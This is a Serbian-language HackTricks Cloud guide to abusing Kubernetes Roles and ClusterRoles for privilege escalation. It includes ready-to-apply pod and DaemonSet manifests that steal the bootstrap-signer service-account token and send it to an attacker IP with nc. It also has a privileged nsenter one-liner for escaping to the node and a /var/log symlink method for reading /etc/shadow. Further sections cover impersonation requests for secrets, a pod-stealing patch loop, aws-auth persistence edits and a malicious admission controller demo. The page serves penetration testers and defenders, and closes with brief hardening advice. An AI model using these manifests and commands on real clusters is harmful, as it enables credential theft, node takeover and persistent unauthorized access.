Serbian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Abusing Roles/ClusterRoles in Kubernetes

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovde možete pronaći neke potencijalno opasne konfiguracije Uloga i ClusterRoles. Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources

Povećanje Privilegija

Pod povećanjem privilegija se podrazumeva veština dobijanja pristupa drugom principalu unutar klastera sa različitim privilegijama (unutar kubernetes klastera ili ka eksternim oblakama) od onih koje već imate, u Kubernetesu postoje uglavnom 4 glavne tehnike za povećanje privilegija:

  • Biti u mogućnosti da se predstavite kao drugi korisnik/grupe/SA sa većim privilegijama unutar kubernetes klastera ili ka eksternim oblakama

  • Biti u mogućnosti da kreirate/izmenite/izvršite podove gde možete pronaći ili povezati SA sa većim privilegijama unutar kubernetes klastera ili ka eksternim oblakama

  • Biti u mogućnosti da čitate tajne jer se tokeni SA čuvaju kao tajne

  • Biti u mogućnosti da pobegnete na čvor iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, akreditacije čvora i dozvole čvora unutar oblaka u kojem se izvršava (ako postoje)

  • Peta tehnika koja zaslužuje pomen je mogućnost pokretanja port-forward u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda.

Pristup Bilo Kom Resursu ili Glagolu (Zvezdica)

Zvezdica (*) daje dozvolu nad bilo kojim resursom sa bilo kojim glagolom. Koristi je admini. Unutar ClusterRole to znači da napadač može zloupotrebiti bilo koju prostoriju u klasteru

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pristupite bilo kom resursu sa određenim glagolom

U RBAC-u, određene dozvole predstavljaju značajne rizike:

  1. create: Omogućava kreiranje bilo kog resursa u klasteru, rizikujući eskalaciju privilegija.

  2. list: Dozvoljava listanje svih resursa, potencijalno otkrivajući osetljive podatke.

  3. get: Dozvoljava pristupanje tajnama iz servisnih naloga, predstavljajući sigurnosnu pretnju.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Kreiranje Poda - Krađa Tokena

Napadač sa dozvolama za kreiranje poda, može pridružiti privilegovan Service Account u pod i ukrasti token kako bi se predstavio kao Service Account. Efikasno povećavajući privilegije na njega.

Primer poda koji će ukrasti token Service Account-a bootstrap-signer i poslati ga napadaču:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Kreiranje i Begunstvo Kontejnera

Sledeće označava sve privilegije koje kontejner može imati:

  • Privilegovan pristup (onemogućavanje zaštite i postavljanje sposobnosti)

  • Onemogućavanje hostIPC i hostPid namespace-ova koji mogu pomoći u eskalaciji privilegija

  • Onemogućavanje hostNetwork namespace-a, omogućavajući pristup krađi privilegija oblaka i bolji pristup mrežama

  • Montiranje / unutar kontejnera domaćina

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Kreirajte pod sa:

kubectl --token $token create -f mount_root.yaml

Jednolinijski komentar sa ovog tvita i sa nekim dodacima:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Skriveno

Verovatno želite da budete neprimetni, na sledećim stranicama možete videti na šta biste mogli da pristupite ako kreirate pod omogućavajući samo neka od pomenutih ovlašćenja u prethodnom predlošku:

  • Privilegovano + hostPID

  • Samo privilegovano

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Možete pronaći primer kako kreirati/zloupotrebiti prethodne privilegovane konfiguracije podova na https://github.com/BishopFox/badPods

Kreiranje Poda - Premeštanje u oblak

Ako možete kreirati pod (i opciono servisni nalog), možda ćete moći da dobijete privilegije u oblaku dodeljivanjem oblačkih uloga podu ili servisnom nalogu i zatim pristupanjem tome. Štaviše, ako možete kreirati pod sa mrežnim imenikom domaćina, možete ukrasti IAM ulogu čvora.

Za više informacija pogledajte:

pagePod Escape Privileges

Kreiranje/Patchovanje Deploymenta, Daemonseta, Statefulseta, Replicationcontrollera, Replicasetova, Jobova i Cronjobova

Moguće je zloupotrebiti ova ovlašćenja da biste kreirali novi pod i stekli privilegije kao u prethodnom primeru.

Sledeći yaml kreira daemonset i eksfiltrira token servisnog naloga unutar poda:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Izvršavanje u Podovima

pods/exec je resurs u kubernetesu koji se koristi za izvršavanje komandi u ljusci unutar poda. Ovo omogućava da se izvrše komande unutar kontejnera ili da se dobije ljuska unutar.

Stoga je moguće ući u pod i ukrasti token SA, ili ući u privilegovan pod, pobegnuti na čvor, i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ova dozvola omogućava prosleđivanje jednog lokalnog porta na jedan port u određenom podu. Ovo je namenjeno kako bi se omogućilo lako otklanjanje grešaka aplikacija koje se izvršavaju unutar poda, ali napadač može zloupotrebiti ovu dozvolu kako bi pristupio zanimljivim (kao što su baze podataka) ili ranjivim aplikacijama (veb?) unutar poda:

kubectl port-forward pod/mypod 5000:5000

Hostovi sa mogućnošću pisanja /var/log/ bekstvo

Kako je naznačeno u ovom istraživanju, ako možete pristupiti ili kreirati pod sa hosts /var/log/ direktorijumom montiranim na njega, možete pobegnuti iz kontejnera. Ovo je uglavnom zato što kada Kube-API pokuša da dobije logove kontejnera (koristeći kubectl logs <pod>), on zahteva 0.log fajl poda koristeći /logs/ endpoint Kubelet servisa. Kubelet servis izlaže /logs/ endpoint koji zapravo izlaže /var/log fajlsistem kontejnera.

Stoga, napadač sa pristupom pisanju u /var/log/ folder kontejnera može zloupotrebiti ovo ponašanje na 2 načina:

  • Modifikujući 0.log fajl svog kontejnera (obično smešten u /var/logs/pods/namespace_pod_uid/container/0.log) da bude simbolička veza koja pokazuje na /etc/shadow na primer. Zatim, moći ćete da eksfiltrirate hosts shadow fajl koristeći:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

  • Ako napadač kontroliše bilo koji princip sa dozvolama za čitanje nodes/log, može jednostavno kreirati simboličku vezu u /host-mounted/var/log/sym ka /, i kada pristupi https://<gateway>:10250/logs/sym/ prikazaće sadržaj korenskog fajl sistema hosta (menjanje simboličke veze može omogućiti pristup fajlovima).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorija i automatski eksploit mogu se pronaći na https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Zaobilazak zaštite samo za čitanje

Ako imate sreće i visoko privilegovani kapacitet CAP_SYS_ADMIN je dostupan, možete jednostavno ponovo montirati fasciklu kao rw:

mount -o rw,remount /hostlogs/

Zaobilazak hostPath zaštite u režimu samo za čitanje

Kako je navedeno u ovom istraživanju, moguće je zaobići zaštitu:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Što je trebalo da spreči bekstva poput prethodnih, umesto korišćenja hostPath montaže, koristi PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejneru sa pisanjem pristupa:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Imitiranje privilegovanih naloga

Sa privilegijom imitiranja korisnika, napadač bi mogao da imitira privilegovani nalog.

Jednostavno koristite parametar --as=<korisničkoime> u kubectl komandi da imitirate korisnika, ili --as-group=<grupa> da imitirate grupu:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ili koristite REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lista Tajni

Dozvola za listanje tajni može omogućiti napadaču da zapravo pročita tajne pristupajući REST API endpointu:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Čitanje tajne - grubo forsiranje token ID-eva

Iako napadač koji poseduje token sa dozvolama za čitanje zahteva tačno ime tajne da bi je koristio, za razliku od šire privilegije listanje tajni, i dalje postoje ranjivosti. Podrazumevani servisni nalozi u sistemu mogu biti nabrojani, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen slučajnim alfanumeričkim tokenom od pet karaktera (isključujući određene karaktere) prema izvornom kodu.

Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789), umesto punog alfanumeričkog opsega. Ovo ograničenje smanjuje ukupan mogući broj kombinacija na 14.348.907 (27^5). Stoga, napadač bi mogao izvoditi grubo forsiranje napada kako bi dedukovao token u pitanju u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim servisnim nalozima.

Zahtevi za potpisivanje sertifikata

Ako imate glagole create u resursu certificatesigningrequests (ili bar u certificatesigningrequests/nodeClient). Možete kreirati novi CeSR za novi čvor.

Prema dokumentaciji, moguće je automatski odobriti ove zahteve, tako da u tom slučaju ne trebate dodatne dozvole. U suprotnom, morali biste biti u mogućnosti da odobrite zahtev, što podrazumeva ažuriranje u certificatesigningrequests/approval i approve u signers sa resursnim imenom <signerNameDomain>/<signerNamePath> ili <signerNameDomain>/*

Primer uloge sa svim potrebnim dozvolama je:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Dakle, sa odobrenim novim CSR-om čvora, možete zloupotrebiti posebne dozvole čvorova da biste ukrali tajne i doveli do eskalacije privilegija.

U ovom postu i ovom konfiguracija GKE K8s TLS Bootstrap-a je konfigurisana sa automatskim potpisivanjem i zloupotrebljena je za generisanje akreditiva novog K8s čvora, a zatim zloupotrebljena za eskalaciju privilegija krađom tajni. Ako imate pomenute privilegije, možete uraditi istu stvar. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi čvor da pristupi tajnama unutar kontejnera jer čvor može pristupiti samo tajnama kontejnera koji su mu montirani.

Način zaobiđavanja ovoga je jednostavno kreiranje akreditiva čvora za ime čvora na kojem je montiran kontejner sa zanimljivim tajnama (ali proverite kako to uraditi u prvom postu):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Principali koji mogu izmeniti configmaps u kube-system namespace-u na EKS (mora biti u AWS) klasterima mogu dobiti privilegije administratorskog klastera tako što će prepisati aws-auth configmapu. Potrebni glagoli su update i patch, ili create ako configmap nije kreiran:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Možete koristiti aws-auth za upornost dajući pristup korisnicima iz drugih naloga.

Međutim, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne radi iz drugog naloga. Ali zapravo aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing radi ako stavite ARN klastera umesto samo imena. Da biste omogućili rad kubectl, samo se pobrinite da konfigurišete kubeconfig žrtve i u aws exec argumente dodajte --profile other_account_role tako da će kubectl koristiti profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.

Eskalacija u GKE

Postoje 2 načina dodeljivanja K8s dozvola GCP principima. U svakom slučaju, princip takođe treba dozvolu container.clusters.get kako bi mogao prikupiti akreditive za pristup klasteru, ili ćete morati generisati svoju kubectl konfiguracionu datoteku (pratite sledeći link).

Kada razgovarate sa K8s API endpointom, GCP auth token će biti poslat. Zatim, GCP, putem K8s API endpointa, prvo će proveriti da li princip (po e-pošti) ima bilo kakav pristup unutar klastera, a zatim će proveriti da li ima bilo kakav pristup putem GCP IAM. Ako je bilo koji od njih istinit, biće odgovoren. Ako nije, biće prikazana greška koja sugeriše da se daju dozvole putem GCP IAM.

Zatim, prvi metod je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako princip to ima, moći će da ih koristi.

pageGCP - Container Privesc

Drugi metod je dodeljivanje K8s dozvola unutar klastera identifikujući korisnika po njegovoj e-pošti (uključeni su GCP servisni nalozi).

Kreirajte token za servisne naloge

Principi koji mogu kreirati TokenRequests (serviceaccounts/token) Kada razgovaraju sa K8s API endpointom SAs (informacije sa ovde).

ephemeralcontainers

Principi koji mogu ažurirati ili popraviti pods/ephemeralcontainers mogu dobiti izvršenje koda na drugim podovima, i potencijalno izaći na svoj čvor dodavanjem ephemeralnog kontejnera sa privilegovanim securityContextom

ValidatingWebhookConfigurations ili MutatingWebhookConfigurations

Principi sa bilo kojim glagolima kreiraj, ažuriraj ili popravi nad validatingwebhookconfigurations ili mutatingwebhookconfigurations možda mogu kreirati jednu takvu webhook konfiguraciju kako bi mogli eskivirati privilegije.

Za mutatingwebhookconfigurations primer pogledajte ovaj odeljak ovog posta.

Eskalacija

Kao što možete pročitati u sledećem odeljku: Ugrađena prevencija eskalacije privilegija, princip ne može ažurirati niti kreirati uloge ili clusterroles bez posedovanja tih novih dozvola. Osim ako ima glagol escalate nad roles ili clusterroles. Tada može ažurirati/kreirati nove uloge, clusterroles sa boljim dozvolama od onih koje već ima.

Čvorovi proxy

Principi sa pristupom nodes/proxy podresursu mogu izvršiti kod na podovima putem Kubelet API-ja (prema ovde). Više informacija o Kubelet autentifikaciji na ovoj stranici:

pageKubelet Authentication & Authorization

Imate primer kako dobiti RCE razgovarajući ovlašćeno sa Kubelet API-jem ovde.

Brisanje podova + nepostavljivi čvorovi

Principi koji mogu brisati podove (delete glagol nad resursom pods), ili izbaciti podove (kreiraj glagol nad resursom pods/eviction), ili promeniti status poda (pristup pods/status) i mogu učiniti druge čvorove nepostavljivim (pristup nodes/status) ili brisati čvorove (delete glagol nad resursom nodes) i imaju kontrolu nad podom, mogu ukrasti podove sa drugih čvorova tako da se izvrše u kompromitovanom čvoru i napadač može ukrasti tokene sa tih podova.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usluga (CVE-2020-8554)

Principali koji mogu modifikovati services/status mogu postaviti polje status.loadBalancer.ingress.ip kako bi iskoristili neispravljeni CVE-2020-8554 i pokrenuli MiTM napade na klaster. Većina mitigacija za CVE-2020-8554 sprečava samo usluge sa spoljnim IP adresama (prema ovome).

Status čvorova i podova

Principali sa dozvolama za update ili patch nad nodes/status ili pods/status, mogu modifikovati oznake kako bi uticali na ograničenja raspoređivanja.

Ugrađena prevencija privilegovanog eskaliranja

Kubernetes ima ugrađeni mehanizam za sprečavanje privilegovanog eskaliranja.

Ovaj sistem osigurava da korisnici ne mogu povećati svoje privilegije modifikujući uloge ili vezivanja uloga. Sprovođenje ove pravile se dešava na nivou API-ja, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.

Pravilo propisuje da korisnik može samo kreirati ili ažurirati ulogu ako poseduje sve dozvole koje uloga obuhvata. Štaviše, opseg korisnikovih postojećih dozvola mora se poklapati sa onim što uloga pokušava da kreira ili modifikuje: ili širom klastera za ClusterRoles ili ograničeno na isti namespace (ili širom klastera) za Roles.

Postoji izuzetak od prethodnog pravila. Ako principali ima glagol escalate nad roles ili clusterroles može povećati privilegije uloga i clusterroles čak i bez posedovanja dozvola.

Dobijanje & Ažuriranje RoleBindings/ClusterRoleBindings

Očigledno je da je ova tehnika funkcionisala ranije, ali prema mojim testovima više ne radi iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding kako biste sebi ili drugom SA dali privilegije ako već nemate te dozvole.

Privilegija za kreiranje Rolebindings omogućava korisniku da vezuje uloge za servisni nalog. Ova privilegija potencijalno može dovesti do privilegovanog eskaliranja jer omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.

Ostali napadi

Aplikacija za sporedni proxy

Podrazumevano, nema enkripcije u komunikaciji između podova. Međusobna autentikacija, dvosmerna, od poda do poda.

Kreirajte aplikaciju za sporedni proxy

Kreirajte vaš .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Uredite svoj .yaml i dodajte nekomentarisane linije:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Pogledajte dnevnike proxy-ja:

kubectl logs app -C proxy

Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Zlonamerni kontroler prijema

Kontroler prijema interceptuje zahteve ka Kubernetes API serveru pre trajnog čuvanja objekta, ali nakon što je zahtev autentifikovan i autorizovan.

Ako napadač na neki način uspe da ubaci kontroler prijema mutacija, biće u mogućnosti da modifikuje već autentifikovane zahteve. Time može potencijalno da ostvari privilegije i češće da se trajno zadrži u klasteru.

Primer sa https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Proverite status da biste videli da li je spreman:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Zatim implementirajte novi pod:

kubectl run nginx --image nginx
kubectl get po -w

Kada vidite grešku ErrImagePull, proverite ime slike pomoću bilo kog od sledećih upita:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Kao što možete videti na gornjoj slici, pokušali smo pokrenuti sliku nginx, ali krajnja izvršena slika je rewanthtammana/malicious-image. Šta se upravo desilo!!?

Tehnički detalji

Skripta ./deploy.sh uspostavlja mutating webhook admission kontroler, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u svojim konfiguracionim linijama, utičući na posmatrane rezultate:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Najbolje prakse

Onemogućavanje automatskog montiranja tokena servisnog naloga

  • Podovi i servisni nalozi: Podovi podrazumevano montiraju token servisnog naloga. Da biste poboljšali bezbednost, Kubernetes omogućava onemogućavanje ove funkcije automatskog montiranja.

  • Kako primeniti: Postavite automountServiceAccountToken: false u konfiguraciji servisnih naloga ili podova počevši od verzije Kubernetes 1.6.

Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings

  • Selektivno uključivanje: Proverite da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali čvrstu bezbednost.

Role specifične za prostor imena umesto globalnih uloga

  • Role vs. ClusterRoles: Preporučuje se korišćenje uloga i RoleBindings za dozvole specifične za prostor imena umesto ClusterRoles i ClusterRoleBindings, koji se primenjuju globalno. Ovaj pristup nudi precizniju kontrolu i ograničava obim dozvola.

Koristite automatizovane alate

Reference

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated